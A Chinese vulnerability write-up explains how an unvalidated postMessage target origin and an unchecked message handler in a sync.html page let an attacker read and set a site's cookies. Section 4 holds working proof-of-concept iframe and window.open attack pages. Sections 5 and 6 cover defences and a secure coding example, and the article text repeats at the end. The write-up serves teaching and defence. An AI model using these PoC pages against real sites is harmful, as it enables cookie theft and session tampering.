挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息
字数 1143 2025-08-18 11:37:53

利用postMessage窃取和编辑用户Cookie的技术分析

1. postMessage技术概述

postMessage是HTML5提供的一种跨域通信机制,允许在不同窗口或iframe之间安全地传递数据。其基本特点包括:

  • 允许跨源通信,即使协议、端口或主机不同
  • 提供可控的安全机制,通过targetOrigin参数限制接收方
  • 主要方法:Window.postMessage(message, targetOrigin, [transfer])
  • 监听机制:window.addEventListener("message", receiveMessage, false)

2. 漏洞发现过程

在测试过程中发现一个包含postMessage实现的页面sync.html,其关键代码如下:

window.parent.postMessage(JSON.stringify(msg), wOrigin);

其中:

  • msg变量包含用户Cookie信息
  • wOrigin变量控制消息发送的目标域

3. 漏洞分析

3.1 变量控制问题

wOrigin变量从URL哈希中获取,解析过程如下:

var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;

关键安全问题:

  1. 没有对wOrigin进行任何过滤或验证
  2. 允许设置为"*",表示可发送到任意域
  3. ns(命名空间)参数同样可控

3.2 消息处理漏洞

页面还包含一个消息处理函数:

function h_message(event){
    var data = null;
    try {
        data = JSON.parse(event.data);
    } catch(e) { return;}
    
    if (data.msgType !== "write" && data.namespace !== ns) {
        return;
    }
    setCookie(data.cookieName, data.cookieVal, parseInt(data.expiresDays, 10), data.secureOnly);
}

漏洞点:

  1. 缺乏对消息来源的验证
  2. 仅检查msgTypenamespace,而这两个参数都可控
  3. 可直接调用setCookie函数修改Cookie

4. 漏洞利用方法

4.1 窃取Cookie

步骤1:构造恶意URL

http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}

步骤2:创建攻击页面(poc.html)

<script>
    function rcv(event) {
        console.log(event); // 这里会接收到包含Cookie的消息
    }
    window.addEventListener('message', rcv, false);
</script>
<iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}'></iframe>

利用效果:当用户访问poc.html时,iframe加载漏洞页面,自动发送包含Cookie的消息到攻击者控制的页面。

4.2 编辑Cookie

步骤1:构造目标URL

/sync.html#{"ns":"a","wOrigin":"*"}

步骤2:创建攻击页面

<script>
    var tar = 'http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}';
    var pay = {
        "msgType": "write",
        "namespace": "a",
        "cookieName": "injectedt",
        "cookieVal": "hacked",
        "expiresDays": 10,
        "secureOnly": false
    };
    var c = window.open(tar, "child");
    c.postMessage(pay, "*");
</script>

利用效果:可以任意修改目标站点的Cookie值,包括设置恶意Cookie。

5. 防御措施

  1. 严格验证targetOrigin:不应使用"*",应明确指定允许的域名
  2. 验证消息来源:检查event.origin确保来自可信域
  3. 敏感操作二次验证:对修改Cookie等敏感操作增加额外验证
  4. 输入过滤:对从URL哈希等不可信来源获取的参数进行严格过滤
  5. 最小权限原则:限制postMessage的使用范围和功能

6. 安全编码建议

// 正确的postMessage实现示例
window.addEventListener('message', function(event) {
    // 验证消息来源
    if (event.origin !== "https://trusted-domain.com") {
        return;
    }
    
    // 验证消息内容
    try {
        var data = JSON.parse(event.data);
        if (!data || typeof data !== 'object') {
            return;
        }
        
        // 执行安全操作
        // ...
    } catch(e) {
        console.error("Invalid message format");
    }
});

// 发送消息时指定具体targetOrigin
otherWindow.postMessage(message, "https://trusted-domain.com");

7. 总结

postMessage虽然提供了方便的跨域通信能力,但不当使用会导致严重安全风险。本案例展示了如何利用postMessage实现窃取和修改用户Cookie,关键在于:

  1. 未验证消息目标和来源
  2. 敏感参数完全可控
  3. 缺乏必要的安全过滤

开发人员应严格遵循安全规范使用postMessage,避免类似漏洞发生。

利用postMessage窃取和编辑用户Cookie的技术分析 1. postMessage技术概述 postMessage是HTML5提供的一种跨域通信机制,允许在不同窗口或iframe之间安全地传递数据。其基本特点包括: 允许跨源通信,即使协议、端口或主机不同 提供可控的安全机制,通过 targetOrigin 参数限制接收方 主要方法: Window.postMessage(message, targetOrigin, [transfer]) 监听机制: window.addEventListener("message", receiveMessage, false) 2. 漏洞发现过程 在测试过程中发现一个包含postMessage实现的页面 sync.html ,其关键代码如下: 其中: msg 变量包含用户Cookie信息 wOrigin 变量控制消息发送的目标域 3. 漏洞分析 3.1 变量控制问题 wOrigin 变量从URL哈希中获取,解析过程如下: 关键安全问题: 没有对 wOrigin 进行任何过滤或验证 允许设置为"* ",表示可发送到任意域 ns (命名空间)参数同样可控 3.2 消息处理漏洞 页面还包含一个消息处理函数: 漏洞点: 缺乏对消息来源的验证 仅检查 msgType 和 namespace ,而这两个参数都可控 可直接调用 setCookie 函数修改Cookie 4. 漏洞利用方法 4.1 窃取Cookie 步骤1 :构造恶意URL 步骤2 :创建攻击页面(poc.html) 利用效果 :当用户访问poc.html时,iframe加载漏洞页面,自动发送包含Cookie的消息到攻击者控制的页面。 4.2 编辑Cookie 步骤1 :构造目标URL 步骤2 :创建攻击页面 利用效果 :可以任意修改目标站点的Cookie值,包括设置恶意Cookie。 5. 防御措施 严格验证targetOrigin :不应使用"* ",应明确指定允许的域名 验证消息来源 :检查 event.origin 确保来自可信域 敏感操作二次验证 :对修改Cookie等敏感操作增加额外验证 输入过滤 :对从URL哈希等不可信来源获取的参数进行严格过滤 最小权限原则 :限制postMessage的使用范围和功能 6. 安全编码建议 7. 总结 postMessage虽然提供了方便的跨域通信能力,但不当使用会导致严重安全风险。本案例展示了如何利用postMessage实现窃取和修改用户Cookie,关键在于: 未验证消息目标和来源 敏感参数完全可控 缺乏必要的安全过滤 开发人员应严格遵循安全规范使用postMessage,避免类似漏洞发生。